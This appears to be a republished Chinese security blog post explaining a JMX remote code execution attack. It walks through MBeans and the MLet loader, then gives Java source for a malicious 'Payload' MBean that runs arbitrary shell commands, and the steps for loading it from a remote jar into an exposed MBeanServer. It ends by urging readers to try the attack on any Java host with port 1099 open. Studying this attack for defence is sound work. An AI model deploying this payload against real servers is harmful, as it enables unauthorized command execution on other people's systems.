java 怎么通过url获取远程服务器上某个文件夹下的所有文件_JMX远程代码漏洞研究...
前言:
前一段時間apace solr JMX因為配置不當出現遠程代碼執行漏洞,最近自己在看一套java系統時,發現該系統也存在JMX遠程代碼漏洞,于是乎就想研究下JMX這種通用型漏洞,下面我就從原理到利用對該漏洞做一個簡單的梳理。
一、JMX服務和MBean
JMX(Java Management Extensions,即Java管理擴展)是一個為應用程序、設備、系統等植入管理功能的框架。JMX是一套復雜的機制,由于我們要講的JMX遠程代碼漏洞和MBean相關,所以這里我們之介紹jmx和mbean相關的一些基礎知識。
JMX是管理擴展,通過JMX我們可以監控管理我們的指定的java程序。但不是所有的java類都能被管理。只有按照特定格式編寫的java類才能被jmx原理。這種特定格式機制我們稱為Mbean。
我們先看一個簡單的MBean,mbean首先需要定義一個接口,定義格式xxxMBean,
之后再定義一個實現該接口的類。
二、MBeanServer
對于已經實現的MBean,我們怎么進行監控和管理,這里就需要MBeanServer了。我們可以將MBeanServer理解為一個mbean的倉庫,需要監控的mbean都需要先注冊到倉庫中。向MBeanServer注冊mbean有兩種方式,一是本地注冊,二是遠程注冊(遠程注冊就為我們執行任意代碼提供了可能,后面會細講)。
我們先看一段簡單的代碼,本地向mbeanserver注冊mbean。
public static void main(String[] args) throwsException{MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();//向MBeanServer 注冊 mbeanObjectName helloName = new ObjectName("HelloMbean:name=Hello");mBeanServer.registerMBean(new Hello(), helloName);Registry registry = LocateRegistry.createRegistry(1099);//構造 JMXServiceURLJMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);jmxConnectorServer.start();System.out.println("JMXConnectorServer is running");}運行程序,使用jconsole鏈接127.0.0.1:1099,可以看到我們的HelloMBean,也可以執行Hello()函數。
整個過程代碼實現如下:
static void JMXClient() throws Exception{ JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi"); JMXConnector jmxConnector = JMXConnectorFactory.connect(url,null); MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection(); ObjectName mbeanName = new ObjectName("HelloMbean:name=Hello"); //通過反射機制執行Hello中的hello()方法 mBeanServerConnection.invoke(mbeanName, "Hello", null, null); }我們可以在代碼中執行MBean中的方法。
三、一個特殊的Mbean之MLet
前面我們知道了mbean是什么東西,這里我們需要認識一個特殊的mbean叫MLet。
這是一個系統自帶的mbean。我們簡單看下其定義。
/** * Exposes the remote management interface of the MLet * MBean. */ public interface MLetMBean {public class MLet extends java.net.URLClassLoaderimplements MLetMBean, MBeanRegistration, Externalizable { private static final long serialVersionUID = 3636148327800330130L;/** * The reference to the MBean server.*/ private MBeanServer server = null;簡單理解就是,我們可以通過Mlet加載一個遠程服務器上的MBean,并且沒有對遠程的mbean做合法性檢測。
Mlet定義了一個函數getMBeanFromURL,用來加載并實例化遠程的Mbean。
至于getMBeanFromURL怎么加載遠程mbean,加載哪個mbean。需要mlet來規定。
上面規定了mlet的格式,下面我們簡單看下幾個必須字段的含義。
CODE =?class
此屬性指定了要獲取的 MBean 的Java 類的全名,包括包名稱。
ARCHIVE = "?archiveList?"
此屬性是必需的,它指定了一個或多個 .jar 文件,這些文件包含要獲取的MBean 使用的 MBean 或其他資源。
NAME =?mbeanname
當 m-let 已注冊MBean 實例時,此可選屬性指定了要分配給MBean 實例的對象名稱。如果mbeanname 以冒號字符(:) 開始,則對象名稱的域部分是 MBean 服務器的默認域,可由 MBeanServer.getDefaultDomain()返回。
四、使用Melt加載遠程MBean
上一節我們簡單介紹了下MLet,這節介紹下怎么加載遠程的MBean
下面我們先實現一個惡意的MBean,并將其打包成JMXPayload.jar。
public interface PayloadMBean { public String runCmd(String cmd) throws IOException, InterruptedException; } public class Payload implements PayloadMBean { @Override public String runCmd(String cmd) throws IOException,InterruptedException { Runtime runtime = Runtime.getRuntime(); Process process = runtime.exec(cmd); BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream())); String stdout_data = ""; String strtmp; while ((strtmp = stdInput.readLine()) != null) { stdout_data += strtmp + "\n"; } while ((strtmp = stdError.readLine()) != null) { stdout_data += strtmp + "\n"; } process.waitFor(); return stdout_data; } }構造mlet文件
將mlet和JMXPayload.jar放在web下同一個目錄中。
先使用registerMBean向MBeanServer注冊Mlet,然后使用getMBeanFromURL函數加載遠程的PayloadMBean。
運行程序,使用jsonsole連接127.0.0.1:1099
五、向遠程的MBeanServer注冊mbean
前幾節介紹的向MBeanServer注冊mbean都是在server端完成的,那如何在client端向遠程的MBeanServer注冊mbean呢。
我們先實現一個默認的MBeanServer,沒有向其注冊我們的mbean。
本地我們可以通過MBeanServer.RegisterMBean注冊mbean
遠端我們可以通過MBeanServerConnection.createMBean注冊mbean
客戶端代碼:
Jconsole查看結果如下,Mlet已經被注冊:
然后通過getMBeansFromURL加載我們的惡意Mbean,執行結果如下:
然后可以通過payload執行任意代碼
當然這個jsonsole執行代碼這個流程可以使用代碼實現,有興趣的可以自己研究下。
六、總結
至此,JMX漏洞的整理利用流程就結束了。我們再重新梳理下過程。
首先是MBeanServer提供了一套遠程注冊MBean的機制,讓我們能夠在本地向遠端注冊MBean。這個問題不大,因為我們不能注冊自己寫的mbean,只能注冊遠端服務器上已經有的mbean。巧的是jdk自己就有一些mbean,其中有一個mbean叫mlet。
Mlet是實現了一個函數getMBeansFromURL(url),這個函數能夠加載并實例化我們指定的遠程mbean,從而導致了我們的惡意payloadMBean被加載注冊到MBeanServer上,導致任意命令執行。
JMX漏洞是一個通用型漏洞,如果遇到java系統開啟1099端口,或者開啟jmx的都可以使用該漏洞測試一下,驚喜就在意外中。
參考:
https://www.apiref.com/java11-zh/java.management/javax/management/loading/MLet.html
https://www.anquanke.com/post/id/194126
*本文原創作者:MrCoding,本文屬于FreeBuf原創獎勵計劃,未經許可禁止轉載
精彩推薦
總結
以上是生活随笔為你收集整理的java 怎么通过url获取远程服务器上某个文件夹下的所有文件_JMX远程代码漏洞研究...的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CPropertyPage::OnSet
- 下一篇: android获取未知字符串,andro